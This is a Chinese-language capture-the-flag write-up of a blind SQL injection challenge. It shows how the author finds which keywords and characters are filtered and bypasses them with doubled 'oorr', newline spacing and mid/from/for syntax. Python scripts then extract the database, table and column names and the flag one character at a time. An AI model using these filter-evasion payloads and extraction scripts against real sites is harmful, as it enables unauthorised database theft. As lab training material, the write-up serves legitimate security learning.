打开链接,看到这个页面,一脸又是sql注入的样子
翻翻源码没有任何提示
打开burp开始抓包,包头与返回头又没有任何提示,试着开始修改ID 的值,观察页面变化
当我输入id=1'时,页面返回“you are not in.......”,当输入id=1'and时,页面返回Sql injection detected!,说明and被过滤了
接着就是开始试服务器到底过滤了哪些字符:and,union,空格,,,#,+
接着就开始尝试注入语句了:id=1'/**/or/**/'1'='1,结果却返回了“you are not in......”,没见过的操作啊,还是我做的题太少了
赶紧翻看wp,后来才知道原来这边虽然没有过滤or,但后台对于or有别的操作,这种改变是可能绕过的,一般的后台处理逻辑是匹配or、or(不分大小写)、or+空格并替换为空。尝试改变大小写和用oorr代替,发现回显都为You are in,也就是说,后台处理应该是匹配or(小写),并将其替换为空,并且仅仅处理了一次,而且经过测试,*也在后台被改变,因此我们可以拿%0a来代替空格
接下来就是盲注的常规操作了,但这里过滤了and和逗号,后来测试的时候还发现过滤了substr
先爆当前数据库名的长度:
import requestsstr1 = 'You are in'url = 'http://ctf5.shiyanbar.com/web/earnest/index.php'for i in range(1,30): key = { 'id':"0'oorr(length(database())=%s)oorr'0"%i} r = requests.post(url, data=key).text print(i) if str1 in r: print('the length of database is %s'%i) break
开始跑数据库名:
1 import requests 2 3 guess = '~abcdefghijklmnopqrstuvwxyz_0123456789' 4 str1 = 'You are in' 5 url = 'http://ctf5.shiyanbar.com/web/earnest/index.php' 6 database = '' 7 for i in range(1,19): 8 for j in guess: 9 key = { 'id':"0'oorr((mid((database())from(%s)foorr(1)))='%s')oorr'0" %(i,j)}10 r = requests.post(url, data=key).text11 print(key)12 if str1 in r:13 database += j14 print(j)15 break16 print(database)
接着开始跑表的长度(跑的时候还发现;也被和谐了,气死了找了我好久)
1 import requests 2 3 guess = '~abcdefghijklmnopqrstuvwxyz_0123456789' 4 str1 = 'You are in' 5 url = 'http://ctf5.shiyanbar.com/web/earnest/index.php' 6 i = 1 7 while True: 8 flag = "0'oorr((select(mid(group_concat(table_name separatoorr '@')from(%s)foorr(1)))from(infoorrmation_schema.tables)where(table_schema)=database())='')oorr'0"%i 9 flag = flag.replace(' ', chr(0x0a))10 key = { 'id':flag} 11 r = requests.post(url, data=key).text12 print(key)13 if str1 in r:14 print('the length of tables is %s'%i)15 break16 i += 1
1 import requests 2 3 guess = '~abcdefghijklmnopqrstuvwxyz_0123456789' 4 str1 = 'You are in' 5 url = 'http://ctf5.shiyanbar.com/web/earnest/index.php' 6 tables = '' 7 for i in range(1,12): 8 for j in guess: 9 flag = "0'oorr((select(mid(group_concat(table_name separatoorr '@')from(%s)foorr(1)))from(infoorrmation_schema.tables)where(table_schema)=database())='%s')oorr'0"%(i, j) 10 flag = flag.replace(' ', chr(0x0a))11 key = { 'id':flag} 12 r = requests.post(url, data=key).text13 print(key)14 if str1 in r:15 tables += j16 print(j)17 break18 19 print(tables)
最后结果有2张表,原来我的guess中并没有包含进@,所以导致这里两张表之间没有被隔开,下面代码中我会补全字符串
一看就知道flag就在fiag表中了,还是跑列长
1 import requests 2 3 guess = '~abcdefghijklmnopqrstuvwxyz_0123456789' 4 str1 = 'You are in' 5 url = 'http://ctf5.shiyanbar.com/web/earnest/index.php' 6 i = 1 7 while True: 8 flag = "0'oorr((select(mid(group_concat(column_name separatoorr '@')from(%s)foorr(1)))from(infoorrmation_schema.columns)where(table_name)='fiag')='')oorr'0"%i 9 flag = flag.replace(' ', chr(0x0a))10 key = { 'id':flag} 11 r = requests.post(url, data=key).text12 print(key)13 if str1 in r:14 print('the length of columns is %s'%i)15 break16 i += 1
忘了说一下,这里虽然写的6,但我们的搜索条件是第6个为空,那么字符长度应该为5
1 import requests 2 3 guess = '~abcdefghijklmnopqrstuvwxyz_0123456789=+-*/{\}?!:@#$%&()[],.' 4 str1 = 'You are in' 5 url = 'http://ctf5.shiyanbar.com/web/earnest/index.php' 6 columns = '' 7 for i in range(1,6): 8 for j in guess: 9 flag = "0'oorr((select(mid(group_concat(column_name separatoorr '@')from(%s)foorr(1)))from(infoorrmation_schema.columns)where(table_name)='fiag')='%s')oorr'0"%(i, j) 10 flag = flag.replace(' ', chr(0x0a))11 key = { 'id':flag} 12 r = requests.post(url, data=key).text13 print(key)14 if str1 in r:15 columns += j16 print(j)17 break18 19 print(columns)
跑出了列名:fl$4g
最后就是dump数据了
先看看数据有多少位
1 import requests 2 3 guess = '~abcdefghijklmnopqrstuvwxyz_0123456789=+-*/{\}?!:@#$%&()[],.' 4 str1 = 'You are in' 5 url = 'http://ctf5.shiyanbar.com/web/earnest/index.php' 6 i = 1 7 while True: 8 flag = "0'oorr((select(mid((fl$4g)from(%s)foorr(1)))from(fiag))='')oorr'0"%i 9 flag = flag.replace(' ', chr(0x0a))10 key = { 'id':flag} 11 r = requests.post(url, data=key).text12 print(key)13 if str1 in r:14 print('the length of data is %s'%i)15 break16 i += 1
最后看来一共13位
直接开跑
1 data = '' 2 for i in range(1,14): 3 for j in guess: 4 flag = "0'oorr((select(mid((fl$4g)from(%s)foorr(1)))from(fiag))='%s')oorr'0"%(i, j) 5 flag = flag.replace(' ', chr(0x0a)) 6 key = { 'id':flag} 7 r = requests.post(url, data=key).text 8 print(key) 9 if str1 in r:10 data += j11 print(j)12 break13 14 print(data)
剧情真是一波三折,坑是一个接着一个,我最后得到的结果如下
这怎么可能是答案呢,又去看了一眼wp,原来是flag中第十四位是' '了,这就导致我在跑数据的时候就发生了错误,flag根本不止13位
改个数字继续跑
要不是wp我根本想不到这个坑,这里真的是要膜拜各位大佬,这里的-实际是由空格转义来的,所以真正的flag是flag{haha~you win!}